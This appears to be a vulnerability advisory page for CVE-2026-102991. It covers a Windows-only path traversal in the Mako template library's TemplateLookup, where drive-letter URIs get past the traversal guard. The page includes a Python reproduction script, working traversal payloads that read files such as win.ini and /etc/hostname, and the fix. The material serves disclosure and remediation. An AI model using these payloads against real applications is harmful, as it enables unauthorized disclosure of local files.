CVE-2026-102991: Mako Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-5639-2j2p-m4mx
CVSS 6.5
CWE-22
Published
Advisory Summary

CVE-2026-102991 is a MODERATE (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Mako libraries in the PyPI ecosystem. The issue involves path traversal via drive-letter uri on windows in templatelookup. Remediation is available by upgrading affected packages to version 1.4.2.

CVE-2026-102991 at a Glance

CVE Identifier CVE-2026-102991
GHSA Identifier GHSA-5639-2j2p-m4mx
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Mako
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-102991

To remediate this vulnerability, upgrade all affected Mako dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

Mako fixed: 1.4.2
pip install Mako>=1.4.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show Mako

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-102991, inspect your installed packages using pip:

pip show Mako

Analyze the terminal output to locate any version of Mako in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.2), your application is affected.

Note: The pip show Mako command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Mako, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary On Windows, a `TemplateLookup` URI beginning with a drive designator (e.g. `C:/../../secret.txt` or `C:\..\..\secret.txt`) bypasses the directory traversal check in `Template.__init__`, allowing reads of files outside the configured template directory. This is a third, independent instance of the root cause behind CVE-2026-41205 (the `//` prefix) and CVE-2026-44307 (the backslash form). Both of those fixes normalized a separator *spelling*. Neither addressed the other way `posixpath` and `ntpath` disagree: the drive designator. Both prior fixes remain effective on their own terms; this variant survives them for an independent reason. ## Details The root cause is the same `posixpath` / `os.path` mismatch: resolution is done with `posixpath`, confinement is checked with `os.path`, which is `ntpath` on Windows. ``` # mako/lookup.py -- resolution 247: srcfile = posixpath.normpath(posixpath.join(dir_, u)) # posixpath, always 248: if os.path.isfile(srcfile): # ntpath on Windows # mako/template.py -- confinement 268: u_norm = os.path.normpath(u_norm) # ntpath on Windows 269: if u_norm.startswith(".."): # never true for a drive URI ``` `posixpath` has no concept of a drive, so it treats `C:` as an ordinary path component; the `..` segments pop `C:` and then escape the template root. `ntpath`, by contrast, splits the drive off and treats the remainder as rooted, discarding the `..` entirely -- so the guard on line 269 inspects a string from which the evidence has already been removed: | URI | `ntpath.normpath` (what the guard sees) | guard fires | |---|---|---| | `//../secret.txt` | `..\secret.txt` | yes | | `\..\secret.txt` | `..\secret.txt` | yes | | `C:/../../secret.txt` | `C:\secret.txt` | **no** | Because the guard cannot fire for *any* URI beginning with a single-letter drive designator, the traversal is unconstrained, and its depth does not have to be guessed. `posixpath.normpath()` saturates excess `..` segments at the root rather than erroring, so a URI carrying more `..` than the template root is deep reaches the volume root and descends from there. A single fixed payload therefore works regardless of where the template directory sits: ``` template root = <base>/srv/app/templates 'C:/../../../../boot.ini' -> reads <base>/boot.ini 'C:/' + '../'*40 + 'etc/hostname' -> reads /etc/hostname (no depth guess) 'C:/../../../../../etc/hostname' -> TopLevelLookupException (wrong depth) ``` On Windows the equivalent is `C:/../../../../../../../../Windows/win.ini`, which reads that file for any template root depth. Only a target addressed *relative* to the template root needs the `..` count to be exact; anything reachable from the volume root does not. ### Affected code - `mako/template.py`: `Template.__init__()` URI validation uses `os.path.normpath()`, which on Windows strips the drive and discards the `..` segments before the `startswith("..")` guard is applied. - `mako/lookup.py`: `TemplateLookup.get_template()` resolves with `posixpath.normpath`/`posixpath.join`, where `C:` is an ordinary component, then performs the existence check with `os.path.isfile()`. ### Reproduction Windows is emulated with the technique already used by the project's own test suite (`test/test_template.py:1398-1401`): ```python import os, ntpath os.path = ntpath from mako.lookup import TemplateLookup lookup = TemplateLookup(directories=["root/tpl"]) for uri in ["ok.html", "//../../secret.txt", "\\..\\..\\secret.txt", "../../secret.txt", "C:/../../../secret.txt", "C:\\..\\..\\..\\secret.txt", "d:/../../../secret.txt"]: try: t = lookup.get_template(uri) print(repr(uri), "-> filename=", t.filename, repr(t.render())) except Exception as e: print(repr(uri), "-> REFUSED", type(e).__name__) ``` Against 1.4.1, with a sentinel file written outside the configured directory: ``` 'ok.html' -> root/tpl/ok.html 'OK' (positive control) '//../../secret.txt' -> REFUSED (CVE-2026-41205 fix works) '\..\..\secret.txt' -> REFUSED (CVE-2026-44307 fix works) '../../secret.txt' -> REFUSED 'C:/../../../secret.txt' -> reads the sentinel 'C:\..\..\..\secret.txt' -> reads the sentinel 'd:/../../../secret.txt' -> reads the sentinel ``` On POSIX the same URIs are refused, because `posixpath.normpath` keeps `C:` as an ordinary component and the `..` survive to be inspected. The issue is Windows-only. Note that `d:/../../../secret.txt` resolves relative to the template root, not to drive `D:` -- this is not a cross-drive read. Reaching another drive would require a leading `..`, which `ntpath.normpath` renders as `..\..\D:\x` and the existing guard catches. ## Impact If an application on Windows passes user-controlled template names or include paths to `TemplateLookup.get_template()`, an attacker may load and disclose any file readable by the application process on the same volume as the template directory, not merely files adjacent to it. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template. As with CVE-2026-41205, the URI is not generally reachable through a raw URL path, since a conforming URL normalizer collapses `C:/../..` first. The relevant vectors are query strings, form and JSON bodies, route parameters, and `<%include file="${...}"/>`. ## Remediation Normalize both sides with the same module. The resolution side already commits to `posixpath`, so the confinement check should as well: ```python u_norm = posixpath.normpath(self.uri.replace("\\", "/").lstrip("/")) if u_norm.startswith(".."): raise exceptions.TemplateLookupException(...) ``` This closes the drive case for the same reason it closes `//`: `posixpath` treats `C:` as an ordinary component, so the `..` segments survive to be inspected. Verified to block all three drive forms with the full test suite passing. ## Credit Reported by Eurico Nicacio under coordinated disclosure.

CVE-2026-102991 Affected Mako Versions

1 component(s)
Fixed Versions:
1.4.2
Product / Package Ecosystem Affected Versions Fixed Version
Mako
PyPI
< 1.4.2
1.4.2

References

Frequently Asked Questions

What is CVE-2026-102991?
CVE-2026-102991 is a security vulnerability in Mako involving Path traversal via drive-letter URI on Windows in TemplateLookup under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Mako versions are affected?
Affected versions include releases prior to 1.4.2 across affected packages: Mako.
What version fixes CVE-2026-102991?
Upgrading to 1.4.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is Mako affected?
Yes, Mako is affected in releases prior to 1.4.2. Upgrade your dependency to 1.4.2 or later.
What is the CVSS score of CVE-2026-102991?
CVE-2026-102991 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-102991?
CVE-2026-102991 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-102991?
Run the dependency tree command: 'pip show Mako'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5639-2j2p-m4mx",
  "modified" : "2026-10-05T23:42:02Z",
  "published" : "2026-10-05T23:42:02Z",
  "aliases" : [ "CVE-2026-102991" ],
  "summary" : "Mako: Path traversal via drive-letter URI on Windows in TemplateLookup",
  "details" : "## Summary\n\nOn Windows, a `TemplateLookup` URI beginning with a drive designator (e.g. `C:/../../secret.txt` or `C:\\..\\..\\secret.txt`) bypasses the directory traversal check in `Template.__init__`, allowing reads of files outside the configured template directory.\n\nThis is a third, independent instance of the root cause behind CVE-2026-41205 (the `//` prefix) and CVE-2026-44307 (the backslash form). Both of those fixes normalized a separator *spelling*. Neither addressed the other way `posixpath` and `ntpath` disagree: the drive designator. Both prior fixes remain effective on their own terms; this variant survives them for an independent reason.\n\n## Details\n\nThe root cause is the same `posixpath` / `os.path` mismatch: resolution is done with `posixpath`, confinement is checked with `os.path`, which is `ntpath` on Windows.\n\n```\n# mako/lookup.py -- resolution\n247:  srcfile = posixpath.normpath(posixpath.join(dir_, u))   # posixpath, always\n248:  if os.path.isfile(srcfile):                             # ntpath on Windows\n\n# mako/template.py -- confinement\n268:  u_norm = os.path.normpath(u_norm)                       # ntpath on Windows\n269:  if u_norm.startswith(\"..\"):                             # never true for a drive URI\n```\n\n`posixpath` has no concept of a drive, so it treats `C:` as an ordinary path component; the `..` segments pop `C:` and then escape the template root. `ntpath`, by contrast, splits the drive off and treats the remainder as rooted, discarding the `..` entirely -- so the guard on line 269 inspects a string from which the evidence has already been removed:\n\n| URI | `ntpath.normpath` (what the guard sees) | guard fires |\n|---|---|---|\n| `//../secret.txt` | `..\\secret.txt` | yes |\n| `\\..\\secret.txt` | `..\\secret.txt` | yes |\n| `C:/../../secret.txt` | `C:\\secret.txt` | **no** |\n\nBecause the guard cannot fire for *any* URI beginning with a single-letter drive designator, the traversal is unconstrained, and its depth does not have to be guessed. `posixpath.normpath()` saturates excess `..` segments at the root rather than erroring, so a URI carrying more `..` than the template root is deep reaches the volume root and descends from there. A single fixed payload therefore works regardless of where the template directory sits:\n\n```\ntemplate root = <base>/srv/app/templates\n\n'C:/../../../../boot.ini'          -> reads <base>/boot.ini\n'C:/' + '../'*40 + 'etc/hostname'  -> reads /etc/hostname   (no depth guess)\n'C:/../../../../../etc/hostname'   -> TopLevelLookupException (wrong depth)\n```\n\nOn Windows the equivalent is `C:/../../../../../../../../Windows/win.ini`, which reads that file for any template root depth. Only a target addressed *relative* to the template root needs the `..` count to be exact; anything reachable from the volume root does not.\n\n### Affected code\n\n- `mako/template.py`: `Template.__init__()` URI validation uses `os.path.normpath()`, which on Windows strips the drive and discards the `..` segments before the `startswith(\"..\")` guard is applied.\n- `mako/lookup.py`: `TemplateLookup.get_template()` resolves with `posixpath.normpath`/`posixpath.join`, where `C:` is an ordinary component, then performs the existence check with `os.path.isfile()`.\n\n### Reproduction\n\nWindows is emulated with the technique already used by the project's own test suite (`test/test_template.py:1398-1401`):\n\n```python\nimport os, ntpath\nos.path = ntpath\n\nfrom mako.lookup import TemplateLookup\nlookup = TemplateLookup(directories=[\"root/tpl\"])\n\nfor uri in [\"ok.html\",\n            \"//../../secret.txt\",\n            \"\\\\..\\\\..\\\\secret.txt\",\n            \"../../secret.txt\",\n            \"C:/../../../secret.txt\",\n            \"C:\\\\..\\\\..\\\\..\\\\secret.txt\",\n            \"d:/../../../secret.txt\"]:\n    try:\n        t = lookup.get_template(uri)\n        print(repr(uri), \"-> filename=\", t.filename, repr(t.render()))\n    except Exception as e:\n        print(repr(uri), \"-> REFUSED\", type(e).__name__)\n```\n\nAgainst 1.4.1, with a sentinel file written outside the configured directory:\n\n```\n'ok.html'                    -> root/tpl/ok.html        'OK'         (positive control)\n'//../../secret.txt'         -> REFUSED   (CVE-2026-41205 fix works)\n'\\..\\..\\secret.txt'          -> REFUSED   (CVE-2026-44307 fix works)\n'../../secret.txt'           -> REFUSED\n'C:/../../../secret.txt'     -> reads the sentinel\n'C:\\..\\..\\..\\secret.txt'     -> reads the sentinel\n'd:/../../../secret.txt'     -> reads the sentinel\n```\n\nOn POSIX the same URIs are refused, because `posixpath.normpath` keeps `C:` as an ordinary component and the `..` survive to be inspected. The issue is Windows-only.\n\nNote that `d:/../../../secret.txt` resolves relative to the template root, not to drive `D:` -- this is not a cross-drive read. Reaching another drive would require a leading `..`, which `ntpath.normpath` renders as `..\\..\\D:\\x` and the existing guard catches.\n\n## Impact\n\nIf an application on Windows passes user-controlled template names or include paths to `TemplateLookup.get_template()`, an attacker may load and disclose any file readable by the application process on the same volume as the template directory, not merely files adjacent to it. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.\n\nAs with CVE-2026-41205, the URI is not generally reachable through a raw URL path, since a conforming URL normalizer collapses `C:/../..` first. The relevant vectors are query strings, form and JSON bodies, route parameters, and `<%include file=\"${...}\"/>`.\n\n## Remediation\n\nNormalize both sides with the same module. The resolution side already commits to `posixpath`, so the confinement check should as well:\n\n```python\nu_norm = posixpath.normpath(self.uri.replace(\"\\\\\", \"/\").lstrip(\"/\"))\nif u_norm.startswith(\"..\"):\n    raise exceptions.TemplateLookupException(...)\n```\n\nThis closes the drive case for the same reason it closes `//`: `posixpath` treats `C:` as an ordinary component, so the `..` segments survive to be inspected. Verified to block all three drive forms with the full test suite passing.\n\n## Credit\n\nReported by Eurico Nicacio under coordinated disclosure.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "Mako"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.4.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sqlalchemy/mako/security/advisories/GHSA-5639-2j2p-m4mx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-102991"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sqlalchemy/mako/issues/441"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sqlalchemy/mako/commit/000ed85e4e48771eff460bf4fc721fb43de80e08"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sqlalchemy/mako"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sqlalchemy/mako/releases/tag/rel_1_4_2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-05T23:42:02Z",
    "nvd_published_at" : "2026-09-30T20:17:26Z"
  }
}